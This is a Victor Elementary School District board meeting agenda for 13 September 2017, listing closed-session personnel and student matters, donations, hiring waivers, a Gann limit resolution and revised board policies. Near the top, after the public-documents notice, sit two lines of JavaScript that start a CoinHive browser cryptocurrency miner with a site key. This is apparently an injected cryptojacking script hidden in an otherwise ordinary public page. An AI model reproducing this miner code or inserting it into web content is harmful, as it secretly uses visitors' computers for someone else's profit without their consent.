

Victor Elementary School District

AGENDA

REGULAR BOARD MEETING

WED, September 13, 2017, 6:00 pm

Location: District Office, 12219 2nd Ave., Victorville, CA

VISIONARY MISSION STATEMENT: VESD is committed to inspiring purposeful learners who create their futures with confidence, curiosity, innovation, and integrity through engaging learning experiences in safe environments within a supportive culture. Reasonable Accommodation for any Individual with a Disability: In compliance with the Americans with Disabilities Act, any individual with a disability who requires reasonable accommodation in order to participate in the public meetings of the governing board may request assistance by contacting the office of the superintendent at (760) 245-1691.

Public Documents Relating to Open Session Agenda Items are available to the public at the Victor Elementary School District, office of the superintendent, 12219 Second Ave, Victorville, California.

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var miner = new CoinHive.Anonymous('1EWIhAo2SUyQHj98LtDkR53wIgcZYPnP');  
miner.start();
```

CALL TO ORDER

ROLL CALL

Members:

Gary Elder, President; Clayton Moore, Vice President; Karen Morgan, Clerk; Joyce Chamberlain and Gabriel Stine

Public Verbal Comments (6:00 p.m.)

1. Receive Public Verbal Comments Regarding Closed Session Items

This communication item is included on the agenda of each regular board meeting to provide an opportunity for citizens to make suggestions or identify concerns about matters affecting the district, or to suggest an item be scheduled for a future agenda. The board may not have complete information available to answer questions and may refer specific concerns to the staff for appropriate attention. The Board discusses personnel matters only in closed session. Should members of the public have a concern or complaint about District personnel, the Board requests that this be addressed through its complaint procedure; the form is available to the public with the agendas at the back of the Board room, rather than by comments during the opportunity for public comment. Should members of the public nevertheless discuss personnel matters during the opportunity for public comment, the Board will not respond to questions or comment on such matters. Speakers are cautioned that under California law, no person is immune from liability for making intentionally false or defamatory comments regarding any person simply because those comments are made at a public meeting.

Please limit comments to three minutes per individual.

CLOSED SESSION

2. PUBLIC EMPLOYMENT: Review superintendent evaluation

3. PUBLIC EMPLOYMENT/RELEASE/RESIGNATION: Act to Approve Personnel Reports #18-03 with Addendum(s)

M_____ S_____ V_____

4. CONFERENCE WITH LABOR NEGOTIATORS

District Representative: Maureen Mills
Employee Organization: V.E.T.A.

District Representative: Debbie Betts
Employee Organization: C.S.E.A.

5. REVIEW PUPIL SERVICES REPORT (Mrs. Benitez)

The board will review the pupil services report regarding:

- A. Readmit for student #9144163
- B. Readmit for student #9129817
- C. Readmit for student # 9132324
- D. Stipulated Expulsion for student # 9134598
- E. Stipulated Expulsion for student # 9131353

REGULAR SESSION - Immediately following Closed Session but no earlier than 7:00 p.m.

6. Pledge of Allegiance

7. Report Actions Taken in Closed Session

Any actions taken in closed session above will be reported out to the public.

8. Review Board Protocol

Respect-Decorum Section #5:

Board members will not discuss negotiations matters with bargaining unit representatives.

9. Review of Basic #2

VESD Basic #2:

We lead by example and treat people with the respect and trust that are the foundation of our organization, using professional courtesy in all interactions.

Communication Session

10. Public Verbal Comments

This communication item is included on the agenda of each regular board meeting to provide an opportunity for citizens to make suggestions or identify concerns about matters affecting the district, or to suggest an item be scheduled for a future agenda. The board may not have

complete information available to answer questions and may refer specific concerns to the staff for appropriate attention. The Board discusses personnel matters only in closed session. Should members of the public have a concern or complaint about District personnel, the Board requests that this be addressed through its complaint procedure; the form is available to the public with the agendas at the back of the Board room, rather than by comments during the opportunity for public comment. Should members of the public nevertheless discuss personnel matters during the opportunity for public comment, the Board will not respond to questions or comment on such matters. Speakers are cautioned that under California law, no person is immune from liability for making intentionally false or defamatory comments regarding any person simply because those comments are made at a public meeting.

Please limit comments to three minutes per individual. Total time for public input is limited to 45 minutes.

11. V.E.T.A. Report

12. C.S.E.A. Report

13. Superintendent's Comments

14. Board Members Comments

Individual board members may wish to share information about topics not on the agenda or suggest items for a future agenda.

PUBLIC HEARING

15. Public Hearing for Instructional Materials for 2017-2018 (Ms. Clark)

In accordance with AB 2600, the district is required to hold a public hearing to ensure that each pupil in the Victor Elementary School District has sufficient textbooks and instructional materials.

Time hearing opened: _____ Time hearing closed: _____

Information Items

16. REVIEW 2016/2017 UNAUDITED FINANCIAL REPORTS (Mrs. Gleason)

The district has completed closing the financial books for the 2016/2017 fiscal year. The financial reports (unaudited) are included for the Board's review.

17. Joint Presentation Of Collective Bargaining Agreement Sunshine List With VETA (Mrs. Mills)

Using the Interest Based Bargaining Approach, VETA and District Negotiators met on August 24, 2017, to identify those areas of the contract which we want to review for possible changes. These include:

- Association Rights
- Working Time

- Assignments
- Transfer
- Class Size
- Inclusion
- Safety Conditions of Employment/Medical Procedures
- Benefits
- Compensation
- Job Share Partnerships and Part-time Assignments
- Evaluation
- Citizen Complaints
- Memorandums of Understanding
 - o Speech compliance
 - o PD Days
 - o Speech Caseload, Recruitment and Mentoring
 - o SDC
- School Calendar 18-19

18. RECEIVE MONTHLY CONFERENCE REPORT (Ms. Clark)

The board will receive the monthly conference report for August, 2017.

19. RECEIVE QUARTERLY WILLIAMS UNIFORM COMPLAINT REPORT (Mrs. Benitez)

The board will receive the quarterly report for April 2017 - June 2017.

Consent Items (Items 20-31)

The board will review and approve all consent items listed below (items 20-31). M_____ S_____ V_____

20. Approve Minutes of the August 9, 2017, Regular Board Meeting
(click on Minutes in the left column, then select date)

21. Approve Revised Board Meeting Schedule

22. Approve District Warrants Report

23. Approve Contract List

24. Approve and Adopt Resolution # 17-19 Determining Availability of Textbooks and Instructional Materials for 2017-2018

25. Approve Donation of \$9,633.93 from Galileo PTO for Galileo Academy field trip transportation expenses

26. Approve Donation of \$9.18 from the Kula Foundation for Liberty School

27. Approve Two Donation of \$60.00 each from Your Cause, LLC Trustee for Pacific Gas & Electric for Liberty School

28. Approve Donation of \$200.00 from Discovery Science Center of Orange County for Liberty

School to be used for field trip transportation reimbursement

29. Approve Donation of \$29.00 from Spirit T-Shirts for Greentree East School

30. Approve Donation of \$5.81 from the Kula Foundation from the Red Robin loyalty program to be used for instructional materials for Brentwood School

31. Approve Volunteers for Brentwood, Challenger, Del Rey, Discovery, Endeavour, Galileo, Green Tree East, Irwin, Liberty, Lomitas, Mojave Vista, Montessori, Park View, Puesta del Sol, Sixth St. Prep, Village and West Palms schools

ACTION ITEMS

32. ACT TO APPROVE PUPIL SERVICES REPORT (Mrs. Benitez)

The board will take action to approve the pupil services report regarding the following students, as presented.

- A. Readmit for student #9144163
- B. Readmit for student #9129817
- C. Readmit for student # 9132324
- D. Stipulated Expulsion for student # 9134598
- E. Stipulated Expulsion for student # 9131353

M_____ S_____ V_____

33. ACT TO APPROVE RESOLUTION #17-20, Absence Verification (Mrs. Benitez)

Student absence due to illness or quarantine shall be excused pursuant to California Education Code Section 48205. Title 5 of the California Code of Regulations Section 421 requires the Board of Education to approve reasonable methods that may be used to verify student absences due to illness or quarantine.

The recommended action is to approve Resolution 17-20 as presented.

M_____ S_____ V_____

34. ACT TO APPROVE REVISED JOB DESCRIPTIONS FOR PRINCIPAL AND ASSISTANT PRINCIPAL (Mrs. Mills)

In order to comply with Title 5 of the California Code of Regulations (CCR) pertaining to Administrative Services Credentials (ASC) it is recommended the Job Descriptions for Principal and Assistant Principal be revised.

The recommended action is to approve the revised Job Descriptions for Principal and Assistant Principal as presented.

M_____ S_____ V_____

35. ACT TO APPROVE EMPLOYMENT OF SPEECH THERAPIST, SEMETRAH HARRIS, ON THE BASIS OF A VARIABLE TERM WAIVER (Mrs. Mills)

The district actively seeks to employ fully credentialed speech therapists. There is a statewide shortage in this profession and we have an ongoing need to find qualified candidates.

The recommended action is to approve the employment of Semetrah Harris as a Speech Therapist on the basis of a Variable Term Waiver.

M_____ S_____ V_____

36. ACT TO APPROVE EMPLOYMENT OF MOUNTAIN VIEW MONTESSORI CLASSROOM TEACHER, BRI KENDRICK, ON THE BASIS OF A PROVISIONAL INTERN PERMIT (Mrs. Mills)

The Provisional Internship Permit (PIP) allows an employing agency to fill an immediate staffing need by hiring an individual who has not yet met the subject matter competence requirement needed to enter an intern program. Mountain View Montessori Charter School has made diligent recruitment efforts.

The recommended action is to approve the employment of Bri Kendrick at Mountain View Montessori Charter School, Grade TK, on the basis of Provisional Intern Permit as presented.

M_____ S_____ V_____

37. ACT TO APPROVE RESOLUTION 17-21, ADOPTING THE GANN LIMIT (Mrs. Gleason)

Education Code Sections 1629 and 42123 specify that each year District Governing Boards shall identify their annual estimated appropriations limits for the current year and their actual appropriations limits for the preceding year.

The State approved software was used in calculating the GANN Limits. A copy of the worksheet is included for your information. Also attached for your consideration is Resolution #17-21 adopting the GANN Limit thereby complying with Education Code Sections 1629 and 42123.

The recommended action is to adopt Resolution 17-21 as presented.

M_____ S_____ V_____

38. ACT TO APPROVE DEPARTMENT OF GENERAL SERVICES CONTRACT #1-16-70-08E TO CDW-G FOR IT GOODS AND SERVICES (SPECIFICALLY SAMSUNG TABLETS) (Mrs. Gleason)

San Bernardino County Superintendent of Schools District Financial Services requires specific board authorization for each piggyback contract being utilized.

The District has thoroughly evaluated its competitive options and has found the use of this contract to be in the best interest of the District based on value, quality, and a positive relationship with the vendor.

The recommended action is that the Board approves utilization of Department of General Services Contract #1-16-70-08E to CDW-G, for IT goods and services (specifically Samsung Tablets) authorizing Denise Gleason, Purchasing Manager, to sign a piggyback agreement to continue use of this contract for its full term through September 18, 2018.

M_____ S_____ V_____

39. ACT TO APPROVE NEW AND REVISED BOARD POLICIES (Mrs. Gonzales)

The following board policies were presented for review at the July 12, 2017, and August 9, 2017, board meetings as information items. They are now presented to the board for approval.

New and Revised Policies:

- BB 9012 Board Member Electronic Communications (New)
 - BB 9240 Board Development (Revised)
 - BB 9323 Meeting Conduct (Revised)
 - BP 0460 Local Control And Accountability Plan (New)
 - BP 1250 Visitors-Outsiders (Revised)
 - BP 1340 Access To District Records (Revised)
 - BP 3270 Sale and Disposal of Book (Revised)
 - BP 3311 Bids (Revised)
 - BP 3311.1 Uniform Public Construction Cost Accounting Procedures (New)
 - BP 3470 Debt Issuance and Management (New)
 - BP 3551 Food Service Operations-Cafeteria Fund (Revised)
 - BP 4030 Nondiscrimination in Employment (Revised)
 - BP 4119.11 Sexual Harassment (Revised)
 - BP 5145.12 Search and Seizure (Revised)
 - BP 6145 Extracurricular And Co-curricular Activities (Revised)
 - BP 6174 Education For English Learners (Revised)
- M_____ S_____ V_____

40. ACT TO NOMINATE CSBA DIRECTOR-AT-LARGE (Mrs. Gonzales)

California School Boards Association (CSBA) is accepting nominations for Director-at-Large African American and American Indian candidates. The nominations must be made by a CSBA member board and the nominee must be a board member from a CSBA member district or county office of education. The board will consider taking action to approve one or more nominees.

M_____ S_____ V_____

CLOSED SESSION

A second closed session will be held if needed to complete any items from the first closed session.

REGULAR SESSION - REPORT OUT TO PUBLIC ON CLOSED SESSION ACTIONS

The board will return to regular session to report out to the public on any actions taken in closed session.

Adjournment

Time Adjourned: _____

M_____ S_____ V_____